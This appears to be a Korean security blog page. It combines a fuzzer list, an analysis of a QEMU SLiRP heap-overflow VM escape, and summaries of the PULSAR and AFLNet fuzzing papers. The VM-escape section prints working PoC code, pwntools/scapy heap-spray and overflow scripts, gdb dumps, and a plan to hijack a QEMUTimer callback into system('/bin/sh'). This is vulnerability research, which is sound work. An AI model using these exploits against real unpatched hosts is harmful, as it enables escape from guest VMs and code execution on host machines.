Fuzzer list that I and my team VirtualBoBs wrote during BoB project.

The levels of these fuzzers are not that high, but I think it is worth opening them.

Haven't found any bugs from these, but it is worth trying to run them, hunting bugs.

 

1. Network Protocol Fuzzer working in VMs (possibly targeting SLiRP)

https://github.com/VirtualBoBs/QEMUSLNetFuzz

 

2. VirtualBox VMSVGA 3d Fuzzer (possibly for VMware as well)

https://github.com/VirtualBoBs/VBox-SVGA3D-fuzzing 

'보안 > Bug Hunting' 카테고리의 다른 글

fetch --nohooks chromium 고치기  (1) 2021.06.19
QEMU USB Analysis and Fuzzing  (0) 2021.01.19
CCID Protocol  (0) 2021.01.19
VirtualBox SVGA  (0) 2021.01.19

개요

https://github.com/0xKira/qemu-vm-escape

QEMU의 113 포트 (SLiRP module)에서 힙 오버플로우 취약점이 존재해 해당 취약점을 통해 VM Escape을 얻은 케이스다. PoC가 주어져있는데, 아래와 같다.

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/socket.h>

int main() {
    int s, ret;
    struct sockaddr_in ip_addr;
    char buf[0x500];

    s = socket(AF_INET, SOCK_STREAM, 0);
    ip_addr.sin_family = AF_INET;
    ip_addr.sin_addr.s_addr = inet_addr("10.0.2.2"); // host IP
    ip_addr.sin_port = htons(113);                   // vulnerable port
    ret = connect(s, (struct sockaddr *)&ip_addr, sizeof(struct sockaddr_in));
    memset(buf, 'A', 0x500);
    while (1) {
        write(s, buf, 0x500);
    }
    return 0;
}

113에 TCP로 계속해서 데이터를 넣는 모습을 확인할 수 있다. 데이터가 계속해서 써지면 결국 힙 오버플로우가 발생한다.

환경세팅

-enable-kvm 옵션을 사용하기 위해서는 우분투를 멀티부팅 형식으로 설치할 수밖에 없었다. Nested로 하는 방법도 존재했지만 시스템에 어떤 영향을 줄지 예상이 가지 않아 우분투를 설치하기로 마음먹었다.

우분투를 설치하는데 많은 트러블슈팅 과정을 거쳤다. 그램과 노트북, rufus / unetbootin / UUI를 번갈아 가며 설치를 시도했지만 결국에는 노트북에 기존에 가지고 있었던 Ubuntu 18.04.1 버전을 설치하였다. 노트북 BIOS 옵션에 들어가 꼭꼭 숨겨져있던 UEFI 옵션을 끄고서야 USB 부팅이 되었고, 그램에 설치를 시도할 때에는 UEFI 부팅을 끄는 옵션이 있었지만 Legacy Boot 옵션을 킬 수가 없어 (회색으로 처리되어 킬 수 없었다) Ubuntu 설치에 실패하였다.

9시간 정도 소모하여 간신히 우분투를 설치한 뒤에 기본적인 프로그램들을 설치하고 Qemu를 설치하였다. Qemu의 경우 버그가 발생한 Qemu의 정확한 버전을 알수가 없어 v3.1.0 버전을 사용하였다. 해당 버전의 코드를 확인하여 패치가 아직 이루어지지 않았음을 확인하였다. 해당 버전을 설치하는 과정은 다음과 같다.

git clone https://github.com/qemu/qemu
cd qemu
git reset --hard 32a1a94
mkdir build
cd build
../configure
make
cp x86_64-softmmu/qemu-system-x86_64 ../..

위 컴파일 과정을 위해서는 dependency들이 많이 필요한데 해당 리스트는 링크에서 구하였다.

Qemu를 설치했으면 이제 VM을 설치해야 한다. 18.04 우분투 이미지를 받아서 해당 이미지로부터 이미지를 생성해야 했다. 이미지를 생성하는 방법은 링크에서 배울 수 있었지만, 환경이 달라 약간의 조정이 필요했다. 최종적으로 사용한 명령어들은 아래와 같다.

wget http://old-releases.ubuntu.com/releases/18.04.1/ubuntu-18.04.4-desktop-amd64.iso
qemu-img create -f qcow2 ubuntu-18.04-desktop-amd64.img.qcow2 32G
sudo ../qemu-system-x86_64 -cdrom ubuntu-18.04.4-server-amd64.iso -drive file=ubuntu-18.04-server-amd64.img.qcow2,format=qcow2 -enable-kvm -m 2G -smp 1 -L ../qemu/build/pc-bios

위 명령어들을 실행하면 설치 과정을 실행할 수 있다. 실행해도 화면이 나오지 않는데, VNC server running on 127.0.0.1:5900 메세지를 보고 remmina 프로그램을 통해 VNC 서버에 접속하여 화면을 확인할 수 있었다. 설치 과정은 일반적인 우분투 설치 과정과 동일하다.

해당 설치 과정을 거쳤으면 이미지로부터 스냅샷을 생성해야 한다. 스냅샷은 기존 이미지와 다른 점들만 저장하는 용도로, 용량이 많이 줄어 용량을 아낄 수 있다. 해당 명령어는 아래와 같다.

qemu-img create -f qcow2 -b ubuntu-18.04-desktop-amd64.img.qcow2 ubuntu-18.04-desktop-amd64.snapshot.qcow2

위 명령어로 스냅샷을 생성한 뒤 해당 스냅샷으로 Qemu를 구동하면 된다.

sudo ../qemu-system-x86_64 -drive file=ubuntu-18.04-desktop-amd64.snapshot.qcow2,format=qcow2 -enable-kvm -m 4G -smp 1 -net user,hostfwd=tcp::2222-:22 -net nic -L ../qemu/build/pc-bios -boot a

Qemu를 구동한 뒤 안에서 링크 안에 있는 PoC 코드를, 밖에서는 sudo nc -lvv 113 를 실행하면 VM이 Segmentation fault와 함께 죽는 것을 확인할 수 있다.

Root Cause Analysis

QEMU의 113 포트 (SLiRP module)에 힙 오버플로우 취약점이 존재한다. 해당 힙 오버플로우 취약점은 유저가 보내는 데이터를 별도의 체크 없이 계속해서 받아 생긴다. 아래 코드를 살펴보자.

// slirp/tcp_subr.c:624
    switch(so->so_emu) {
        int x, i;

     case EMU_IDENT:
        /*
         * Identification protocol as per rfc-1413
         */

        {
            struct socket *tmpso;
            struct sockaddr_in addr;
            socklen_t addrlen = sizeof(struct sockaddr_in);
            struct sbuf *so_rcv = &so->so_rcv;

            memcpy(so_rcv->sb_wptr, m->m_data, m->m_len);
// slirp/tcp_subr.c:535
/*
 * Set the socket's type of service field
 */
static const struct tos_t tcptos[] = {
      {0, 20, IPTOS_THROUGHPUT, 0},    /* ftp data */
      {21, 21, IPTOS_LOWDELAY,  EMU_FTP},    /* ftp control */
      {0, 23, IPTOS_LOWDELAY, 0},    /* telnet */
      {0, 80, IPTOS_THROUGHPUT, 0},    /* WWW */
      {0, 513, IPTOS_LOWDELAY, EMU_RLOGIN|EMU_NOCONNECT},    /* rlogin */
      {0, 514, IPTOS_LOWDELAY, EMU_RSH|EMU_NOCONNECT},    /* shell */
      {0, 544, IPTOS_LOWDELAY, EMU_KSH},        /* kshell */
      {0, 543, IPTOS_LOWDELAY, 0},    /* klogin */
      {0, 6667, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC */
      {0, 6668, IPTOS_THROUGHPUT, EMU_IRC},    /* IRC undernet */
      {0, 7070, IPTOS_LOWDELAY, EMU_REALAUDIO }, /* RealAudio control */
      {0, 113, IPTOS_LOWDELAY, EMU_IDENT }, /* identd protocol */
      {0, 0, 0, 0}
};

취약점은 EMU_IDENT, 즉 113번 포트에서 발생하며 sbufm->m_data의 길이 체크 없이 데이터를 memcpy로 밀어넣는 것을 볼 수 있다. 때문에 sbuf 안에서 overflow가 발생한다. 해당 overflow가 나는 것을 gdb로 확인해보자.

우선 좀 더 편하게 PoC 코드를 돌려보고 수정하기 위해 PoC 코드를 pwntools를 이용하여 재구성하였다.

#!/usr/bin/python

from pwn import *

p = remote("10.0.2.2", 113)

while True:
    p.send("A"*0x500)

send를 루프를 돌리지 말고 한번만 보낸 뒤에 데이터가 어느 영역에 저장되는지를 살펴보자. "A"*0x500 을 보낸 후에 "B"*53 을 보낸 뒤 gdb로 메모리를 찍어보았다.

gdb-peda$ x/32wx 0x7f2a48a54070-0x500
0x7f2a48a53b70:    0x0d302c30    0x4141000a    0x41414141    0x41414141
0x7f2a48a53b80:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53b90:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53ba0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bb0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bc0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53bd0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a53be0:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070-0x80
0x7f2a48a53ff0:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54000:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54010:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54020:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54030:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54040:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54050:    0x41414141    0x41414141    0x41414141    0x41414141
0x7f2a48a54060:    0x41414141    0x41414141    0x41414141    0x41414141
gdb-peda$ x/32wx 0x7f2a48a54070
0x7f2a48a54070:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54080:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a54090:    0x42424242    0x42424242    0x42424242    0x42424242
0x7f2a48a540a0:    0x42424242    0x00000a42    0x00000000    0x00000000
0x7f2a48a540b0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540c0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540d0:    0x00000000    0x00000000    0x00000000    0x00000000
0x7f2a48a540e0:    0x00000000    0x00000000    0x00000000    0x00000000

해당영역에 보낸 데이터가 그대로 이어져서 붙어 나오는 것을 쉽게 확인할 수 있다. 멀티스레드 힙이기 때문에 map 상에는 단순하게 mapped 영역에 있는 것으로 보인다. 청크 사이즈는 0x2245 로 크기가 한정되어 있음을 확인할 수 있다.

이제 데이터를 더 밀어넣고 오버플로우가 발생하는지 확인해보자. 청크 크기+1 만큼 데이터를 밀어넣어 8바이트만큼 오버플로우가 발생하도록 하였다. (다음 청크의 사이즈가 덮이도록 설정하였다)

#!/usr/bin/python

from pwn import *

p = remote("10.0.2.2", 113)

p.send("A"*(0x400-6))
for i in xrange(7):
    p.send("A"*0x400)
p.send("G"*0x239)

p.interactive()
gdb-peda$ x/8gx 0x7f3b84253400-0x10
0x7f3b842533f0:    0x0000000000000000    0x0000000000002245
0x7f3b84253400:    0x4141414141414141    0x4141414141414141
0x7f3b84253410:    0x4141414141414141    0x4141414141414141
0x7f3b84253420:    0x4141414141414141    0x4141414141414141
gdb-peda$ x/8gx 0x7f3b84253400-0x10+0x2240
0x7f3b84255630:    0x4747474747474747    0x0000000000001f47
0x7f3b84255640:    0x00007f3b84000080    0x00007f3b84000080
0x7f3b84255650:    0x0000000000000000    0x0000000000000000
0x7f3b84255660:    0x0000000000000000    0x0000000000000000

다음 청크의 사이즈의 한 바이트가 47 로 성공적으로 덮인 것을 확인할 수 있다. 이후 continue를 하게 되면 SIGABRT가 나오며 Qemu가 죽게된다.

즉, sbuf는 힙 영역에 할당되어 있기 때문에 heap overflow가 발생하고, 해당 overflow를 이용하여 힙 익스플로잇을 작성하면 된다.

Exploit

이제 힙 오버플로우를 통해 힙 구조를 조작할 수 있게 되었지만 여전히 malloc, free를 임의로 호출할 수 없다. 따라서 이들을 위해 primitive를 작성할 필요가 있다.

malloc primitive

https://github.com/0xKira/qemu-vm-escape/blob/master/writeup_zh.md

해당 write-up을 보게 되면 malloc primitive를 IP Fragmentation을 통해 얻는 것을 확인할 수 있다. 아래 코드를 살펴보자.

// slirp/ip_input.c:184
        /*
         * If datagram marked as having more fragments
         * or if this is not the first fragment,
         * attempt reassembly; if it succeeds, proceed.
         */
        if (ip->ip_tos & 1 || ip->ip_off) {
            ip = ip_reass(slirp, ip, fp);
                        if (ip == NULL)
                return;
            m = dtom(slirp, ip);
        } else
            if (fp)
                  ip_freef(slirp, fp);

ip_reass 에서 리턴값을 NULL로 받게 되면 바로 return 해버리기 때문에 m_buf가 그대로 남아있는 것을 확인할 수 있다. ip_reass에서 리턴값이 NULL이 되는 경우는 다음과 같다.

  1. fp == NULL
  2. insert로 이동
  3. 큐 확인 후 해당 fragment 패킷을 삽입하는 것이 불가능하다. -> NULL 반환

하지만 해당 루틴까지 오기 위해 거쳐야 할 체크들이 존재한다. (아래 체크들이 만족하면 문제가 되며 바로 m_free 루틴으로 향한다)

  1. m->m_len < sizeof (struct ip)
  2. ip->ip_v != IPVERSION
  3. hlen<sizeof(struct ip ) || hlen>m->m_len
  4. cksum(m,hlen)
  5. ip->ip_len < hlen
  6. m->m_len < ip->ip_len
  7. ip->ip_ttl == 0

마지막으로 ip->ip_off &~ IP_DF, ip->ip_tos & 1 || ip->ip_off 조건들도 만족해야 원하는 루틴을 트리거할 수 있다. 아래 코드를 작성하고 돌렸을 경우 malloc이 연속적으로 수행되면서 청크가 쌓인다.

packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
send(packet, verbose=False)

malloc과 free 함수들에 대해 후킹을 진행한 뒤 위의 코드를 반복적으로 실행하면 아래 결과들을 얻을 수 있다. (LD_PRELOAD를 통해 후킹을 진행한 뒤 진행하였다)

0x7f9c1c1997b0 : malloc(668) hooked
0x7f9c1c199e20 : malloc(668) hooked
0x7f9c1c19a490 : malloc(668) hooked
0x7f9c1c19ab00 : malloc(668) hooked
0x7f9c1c13a980 : malloc(668) hooked
0x7f9c1c13aff0 : malloc(668) hooked
0x7f9c1c13b660 : malloc(668) hooked
0x7f9c1c13bcd0 : malloc(668) hooked
0x7f9c1c13c340 : malloc(668) hooked
0x7f9c1c13c9b0 : malloc(668) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked

위처럼 청크가 쌓이다가 아래 패턴이 반복된다.

0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
free(0x7f9c1c13d020) hooked
0x7f9c1c13d020 : malloc(668) hooked
0x7f9c1c13d690 : malloc(668) hooked
0x7f9c1c13dd00 : malloc(668) hooked

한 청크 / bin에 대해 malloc과 free를 반복적으로 수행하나 malloc이 연속 3번으로 나와 청크가 쌓이는 것을 확인할 수 있다.

Arbitrary Write

Arbitrary write를 위해 mbuf를 할당받고 이를 heap overflow를 통해 덮어쓴 뒤 사용한다. 우선, 힙 레이아웃을 정리하여 mbuf를 할당받고 이를 덮어쓸 수 있게 해야 한다. 아래 과정을 통해 힙 레이아웃을 정리하였다.

  1. Malloc primitive로 0x2000짜리 heap spray (bin을 없애서 malloc을 차례대로 하면 차례대로 청크가 할당될 수 있도록 한다) (MTU 설정에 따라 크기가 달라지니 MTU 설정을 바꿔서 크기를 맞춰준다. (9000으로))
  2. sbuf->so_rcv 할당 받기 (0x2240짜리, 113 포트)
  3. Malloc primitive으로 mbuf 할당 받기 -> 0x2240 뒤에 할당됨

코드는 아래와 같다.

#!/usr/bin/python3

from pwn import *
from scapy.all import *

ip_src = "10.0.2.15"
ip_dst = "10.0.2.2"

p = None

def spray(spray_id):
    packet = IP(src=ip_src, dst=ip_dst, frag=0, flags=0b001, proto=6, id=spray_id)
    send(packet, verbose=False)

def send_to_113(data):
    global p
    p = remote(ip_dst, 113)

    for i in range(len(data) // 0x400):
        p.send(data[0x400*i:0x400*i+0x400])
        sleep(0.1)
    p.send(data[len(data) // 0x400 * 0x400:])
    sleep(0.1)

# do spray
spray_id = 0xaaaa
for i in range(0x100):
    spray(spray_id+i)

send_to_113("A"*0x2000+"G"*0x238)

spray(0xdead)

p.interactive()

이 상태에서 입력을 더 넣게 되면 heap overflow가 발생하는 것을 확인할 수 있다. (아래 참조, 8바이트 + newline을 넣어 9바이트만큼 오버플로우가 발생하였다)

0x7f4da408da00:    0x4747474747474747    0x4747474747474747
0x7f4da408da10:    0x4747474747474747    0x4747474747474747
0x7f4da408da20:    0x4747474747474747    0x5050505050505050
0x7f4da408da30:    0x00007f4da408b10a    0x00007f4da408e0a0
0x7f4da408da40:    0x0000000000000000    0x0000000000000000
0x7f4da408da50:    0x000006080000000c    0x00007f4da4123620
0x7f4da408da60:    0x00007f4da408dad0    0x0000000000000000
0x7f4da408da70:    0x000056093a36a7b0    0x0000000000000000
0x7f4da408da80:    0xffffffffffffffff    0x0000000000000000

위의 과정을 통해 mbuf 구조체를 덮을 수 있고 이는 arbitrary write까지 연결된다. 아래 루틴을 활용할 것이다.

// slirp/ip_input.c:331
    /*
     * Reassembly is complete; concatenate fragments.
     */
    q = fp->frag_link.next;
    m = dtom(slirp, q);

    q = (struct ipasfrag *) q->ipf_next;
    while (q != (struct ipasfrag*)&fp->frag_link) {
      struct mbuf *t = dtom(slirp, q);
      q = (struct ipasfrag *) q->ipf_next;
      m_cat(m, t);
    }
// slirp/mbuf.c:129
/*
 * Copy data from one mbuf to the end of
 * the other.. if result is too big for one mbuf, allocate
 * an M_EXT data segment
 */
void
m_cat(struct mbuf *m, struct mbuf *n)
{
    /*
     * If there's no room, realloc
     */
    if (M_FREEROOM(m) < n->m_len)
        m_inc(m, m->m_len + n->m_len);

    memcpy(m->m_data+m->m_len, n->m_data, n->m_len);
    m->m_len += n->m_len;

    m_free(n);
}

ip_reass 의 루틴을 이용하여 m_cat을 호출할 수 있으며, m_cat 에서는 memcpy로 데이터를 복사하여 넣어준다. 이를 이용하여 arbitrary write를 얻을 수 있다. m_cat을 실행하는 것은 단순히 같은 ip id 에 대해 MF를 끈 상태로 패킷을 보내면 된다. 그러면 조작한 m_data와 m_len에 따라서 데이터가 복사되어 들어가게 된다.

Memory Leak

ICMP echo reply에 대한 rfc792 문서를 보게 되면 아래 내용을 확인할 수 있다.

The data received in the echo message must be returned in the echo reply message.

즉, 보낸 데이터를 그대로 다시 돌려준다는 것이다. 따라서 이를 이용하여 memory leak을 낼 것이다.

Arbitrary write에서 했던 것과 비슷하게 한다. 다만, 이번에는 m_data를 전체 다 덮는 것이 아니라 일부만 (하위 3바이트) 덮어서 메모리를 얻을 것이다. 익스플로잇 진행 흐름은 아래와 같다.

  1. m_buf를 partial overwrite해서 힙의 다른 위치를 가리키게 한다.
  2. MF=1로 ICMP request를 보낸다.
  3. sbuf에서 heap overflow를 일으켜서 m_data의 하위 3바이트를 덮는다.
  4. MF=0으로 ICMP request를 보낸다. (2와 같은 아이디로)

이를 통해 Host에 ICMP request를 보내면 echo reply로 게스트에 메모리 값들을 다시 보내주게 된다. 해당 데이터를 다시 받아 libc base 주소와 heap 주소를 얻으면 된다.

PC Control

PC Control의 경우 QEMUTimer를 이용하면 된다. 해당 코드는 아래와 같다.

// util/qemu-timer.c:68
struct QEMUTimerList {
    QEMUClock *clock;
    QemuMutex active_timers_lock;
    QEMUTimer *active_timers;
    QLIST_ENTRY(QEMUTimerList) list;
    QEMUTimerListNotifyCB *notify_cb;
    void *notify_opaque;

    /* lightweight method to mark the end of timerlist's running */
    QemuEvent timers_done_ev;
};
// include/qemu/timer.h:83
struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;
    void *opaque;
    QEMUTimer *next;
    int attributes;
    int scale;
};
// util/qemu-timer.c:588
bool qemu_clock_run_timers(QEMUClockType type)
{
    return timerlist_run_timers(main_loop_tlg.tl[type]);
}

QEMU timer에 관한 코드들은 위와 같다. main_loop_tlg 에 저장되어 있는 Timer 리스트를 가지고 와서 해당 리스트에 있는 timer의 cb 함수를 호출하게 된다. 따라서 fake timer list를 만든 뒤에 main_loop_tlg 를 덮어서 가짜로 만든 리스트를 참조하게 하면 된다. 그러면 cb에 넣은 함수 포인터를 참조하여 함수를 실행하게 되고, 이를 이용하여 PC Control을 얻을 수 있다.

힙의 적당한 위치에 arbitrary write primitive를 이용하여 fake timer list를 작성하고 다시 arbitrary write를 통해 main_loop_tlg를 덮어 fake timer list를 가리키게 하면 된다. cb에 system 함수를 넣으면 system을 실행해준다. cb 에 system을 넣고 opaque 에 명령어를 입력하면 (ex - "/bin/sh") system에 opaque에 들어가 있는 인자를 넣고 실행시킨다. 이를 통해 system에 원하는 명령어를 넣어 실행시킬 수 있다.

Conclusion

youtu.be/PT_dXlKWs8w

SLiRP에서 발생하는 힙 오버플로우 취약점을 성공적으로 익스플로잇할 수 있었다. 처음에 scapy를 이용하여 익스플로잇을 재구성하다가 실패하였고 그 원인을 6일간 삽질한 끝에 MTU를 조정하지 않았기 때문임을 알 수 있었다. 결국에는 주어진 익스플로잇 코드를 오프셋과 구조를 다시 변경하여 세팅한 환경에서 작동할 수 있도록 재구성하였고, 그 결과 성공적으로 익스플로잇을 할 수 있었다.

시간 관계상 scapy로 익스플로잇 코드를 재구성하는 것은 하지 못하지만 그래도 QEMU의 네트워크에서 발생하는 취약점을 어떻게 익스플로잇할 수 있는지 배울 수 있었다. 네트워크 프로토콜을 잘 조작하면 malloc primitive 등 원하는 기능을 수행할 수 있도록 바꿀 수 있다는 것을 확인할 수 있었고, 배우기만 했지만 직접 해보지 않았던 리얼월드에서 익스플로잇을 성공적으로 수행하기 위한 heap spray 기법 등을 이번 기회를 통해 직접 해볼 수 있었다.

마지막으로 security mitigation들이 모두 걸려있어 익스플로잇이 힘든 바이너리에서 QEMUTimer를 이용하여 익스플로잇을 할 수 있다는 것을 이번 익스플로잇 분석을 통해 배울 수 있었다.

'보안 > CVE Analysis' 카테고리의 다른 글

V8 CVE-2020-6383 Exploit  (0) 2021.01.19

https://hugogascon.com/publications/2015-securecomm.pdf
https://github.com/hgascon/pulsar

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 뭘 썼는지 모르겠음)

선정 이유

AFLNet을 사용하려 시도하였지만 afl instrumentation 과정에서 실패하였다. 이에 따라 AFLNet을 포기하고 새롭게 black-box network fuzzer를 작성하였지만 feedback이 낮아 취약점을 찾지 못하는 것을 확인하였다. 따라서 feedback을 어떻게 줄 수 없을까 고민 끝에 논문을 하나 더 읽기로 결정하였고, 이에 따라 black-box network fuzzer이면서 feedback을 받아 작동하는 해당 퍼저의 논문을 읽게 되었다.

요약

구조

PULSAR는 크게 3단계로 작동한다.

  1. 모델 유도: 대상 프로토콜의 샘플 패킷 캡쳐를 통해 프로토콜 모델을 학습한다. 이는 프로토콜 상태 머신에 대한 마르코브 모델을 포함한다.
  2. 테스트 케이스 생성: 추출된 템플릿과 규칙들은 통신 과정 중 어떤 메세지 필드에 어떤 값이 들어가는지 알려준다. 이를 이용해서 테스트 케이스를 생성한다.
  3. 모델 커버리지: 모델에 대한 커버리지를 최대한 높이기 위해 시도한다.

상세 내용

기본적으로 아이디어와 구현 방법은 AFLNet과 비슷한 것 같다. Mutation이나 model coverage 개념, protocol exploration 방법이 동일하게 구현되어 있으므로 해당 내용들은 예전에 정리해 놓은 AFLNet을 보면 될 것 같다. (애초에 AFLNet에서 현재 논문을 참조한다) AFLNet과 다른점이라면 이 논문의 경우 passive learning, 즉 주어진 테스트 케이스만 가지고 프로토콜 모델을 만든다면 AFLNet의 경우 grey-box 방식으로 프로토콜 모델을 만들어 나간다. 해당 차이를 제외하고 큰 차이가 보이지 않는다.

총평

Black-box에서 피드백을 참조할 수 있게 해준다는 점에서 장점이 큰 것 같다. 하지만, 퍼징 자체가 테스트 케이스를 어떻게 주는지에 따라 달라지기 때문에 매우 불안정한 것 같다. 또한, VM 환경의 경우 해당 논문의 방법을 사용하기 힘든 것이 VM 에뮬레이터의 경우 통상적인 프로토콜을 사용하고 (proprietary protocol이 아니다) 이에 따른 테스트 케이스를 잘 생성하기가 힘들다. 따라서 네트워크 퍼징 방법에 대해 배울 수 있는 좋은 논문이지만, 참고자료로 사용하기 어려운 점이 아쉽다.

https://www.comp.nus.edu.sg/~abhik/pdf/AFLNet-ICST20.pdf
https://github.com/aflnet/aflnet

주의

지극히 개인적인 의견만 들어가 있습니다. (본인도 뭘 썼는지 모르겠음)

선정 이유

이번에 공격 벡터로 네트워크를 선택하면서 네트워크 프로토콜에 대한 퍼징 방법을 공부할 필요가 있었다. BOOFuzz와 같은 퍼저도 있었지만 그 중에서 그나마 친숙한 AFL에서 어떻게 네트워크 퍼징을 수행하였는지 알아보기 위해 해당 논문을 선택하였다.

요약

문제 특성

네트워크 프로토콜에서 퍼징을 진행하기 쉽지 않다. CGF (Coverage-based Greybox Fuzzing)이나 SBF (Stateful Blackbox Fuzzing)과 같은 여러 시도가 있었지만 네트워크 프로토콜의 특성에 따라 한계가 존재한다.

  1. 서버는 stateful하고 message-driven이다.
  2. 서버는 state에 의해 응답이 결정되기 때문에 CGF로써는 이런 특성을 잡아내는게 쉽지 않다. (State를 tracking하는 기능이 없기 때문이다)

CGF with Concatenated Files

CGF를 통해 concatenated file들을 만들어 테스트 입력으로 넣어보는 시도가 있었다. 하지만 이는 매우 비효율적인 방법이다.

  1. 각 iteration마다 전체 시드 파일에 대해 mutation을 진행해야 한다. 만약에 $m_0 \thicksim m_k$의 message sequence가 있다면 전체를 mutate하는 것보다 가장 가능성 있는 $m_i$만 mutate 하는 것이 효율적이다.
  2. 프로그램 상태에 대한 정보가 없다면 많은 message sequence들이 거절당할 수 있다.

위의 한계점들로 인해 stateful program을 퍼징하는데 가장 많이 사용되는 기술은 SBF이다.

SBF

앞에서 언급한 CGF의 한계들 때문에 SBF를 사용하여 네트워크를 퍼징하는 것을 시도하는 연구가 많았다. 이는 프로토콜 모델을 돌면서 FSM이나 그래프 형태로 메세지의 데이터 모델이나 문법을 정보를 얻고 이를 토대로 메세지 시퀀스를 생성하는데 여러 문제가 존재한다.

  • 하지만 이는 개발자가 프로토콜에 대해 얼마나 잘 이해했고 잘 구현했는지, 또 클라이언트와 서버 간의 샘플 패킷들에 의존적이다.
  • 또한 SUT에 구현되어 있는 프로토콜에 대한 정보를 정확하게 추출하지 못하는 경우가 많다.
  • 다른 여타 블랙박스 퍼징과 동일하게 인상깊은 테스트 케이스들을 보유하지 못한다. (Coverage와 같은 정보가 없기 때문)
  • 또한, 런타임에 상태 정보를 업데이트 하지 않는다.

AFLNet

위의 문제들을 보완할 수 있도록 stateful CGF 툴을 만들었다. AFLNet은 자동으로 상태 모델을 유도하고 coverage guided fuzzing을 사용하여 새로운 상태들을 찾고 상태 모델을 개선한다. 또한, 그동안 동적으로 만들어진 상태 모델은 state coverage와 code coverage에 대한 정보를 제공하여 퍼징이 더 잘 일어날 수 있도록 한다.

용어들

  • 서버 : 원격으로 접근 가능한 소프트웨어 시스템
  • 클라이언트 : 서버에서 제공하는 서비스를 사용하는 소프트웨어 시스템
  • 메세지 시퀀스 : 메세지 벡터
  • 요청 : 클라이언트로부터의 메세지
  • 응답 : 서버로부터의 메세지
  • 서버 상태 : 클라이언트와의 통신 중 서버의 특정 상태

퍼저의 경우 클라이언트로 작동하며 서버의 경우 서버로써 작동한다.

디자인 및 구성

AFLNet은 AFL의 확장 버전이라고 생각하면 된다. AFLNet은 두 채널을 제공하는데, 하나는 메세지를 서버에 보내기 위한 채널, 다른 하나는 서버에서 응답을 받기 위한 채널이다. 서버에서 응답을 받기 위한 채널은 state feedback을 받거나 code coverage를 받는데 사용한다. AFLNet은 기본적인 C 소켓 라이브러리를 사용하며, 적절한 동기화를 위해 요청 간 딜레이가 포함되어 있다.

AFLNet의 입력으로는 네트워크 트래픽을 포함한 pcap 파일을 넣어주면 된다. 넣어준 파일은 AFLNet의 Request Sequence Parser에 의해 파싱되어 초기 메세지 시퀀스를 생성하는데 사용된다.

이후 State Machine Learner가 서버 응답들을 가지고 state machine을 업데이트 한다. 그 후 업데이트 된 state machine을 Target State Selector가 참조하여 다음으로 탐색할 state를 지정한다. 각종 휴리스틱 알고리즘을 적용하여 퍼저가 어떤 state에 집중해야 할 지 지정한다. 이후 지정된 state에 도달하기 위해 Sequence Selector가 message sequence를 선택한다. 이때 AFL이 관리하는 seed corpus와 유사하게 AFLNet은 state corpus를 추가로 관리하여 state에 대한 정보들을 저장한다. 저장된 정보는 Sequence Selector가 참조하여 message sequence를 랜덤으로 선택하는데 사용된다.

Sequence Mutator는 선택된 sequence에 대한 mutation을 진행한다. 이는 generation-based approach에 비해 장점이 있는데, (1) 비교적 유효한 message sequence를 생성할 수 있고, (2) 특정 중요한 message sequence에 변형을 가해 corpus를 더 발전시킬 수 있다.

Mutation 과정은 아래와 같다.

Algorithm : State $s$와 message sequence $M$이 주어졌을 때 해당 알고리즘은 새로운 message sequence $M'$를 생성한다.

  1. Original sequence $M$을 3 파트로 나눈다.
    1. Prefix $M_1$ : state $s$에 도달하기 위한 sequence
    2. Candidate subsequence $M_2$ : state $s$에 남아 있을 수 있으면서 실행 가능한 message subsequence
    3. Suffix $M_3$ : 나머지 sequence 부분 ($<M_1, M_2, M_3> = M$)
  2. 새로운 sequence $M'$를 $M'=<M_1, mutate(M_2), M_3>$로 생성한다.
    • Protocol-aware mutation operator $mutate$를 사용한다. 주어진 corpus $C$에서 (Message Pool) message를 가져와 이와 기존 message와 replacement, insertion, duplication, deletion 등의 작업을 수행한다. 또한, 기존 mutation 방법인 bit flipping, substition, insertion, deletion of blocks 등의 작업도 수행한다.
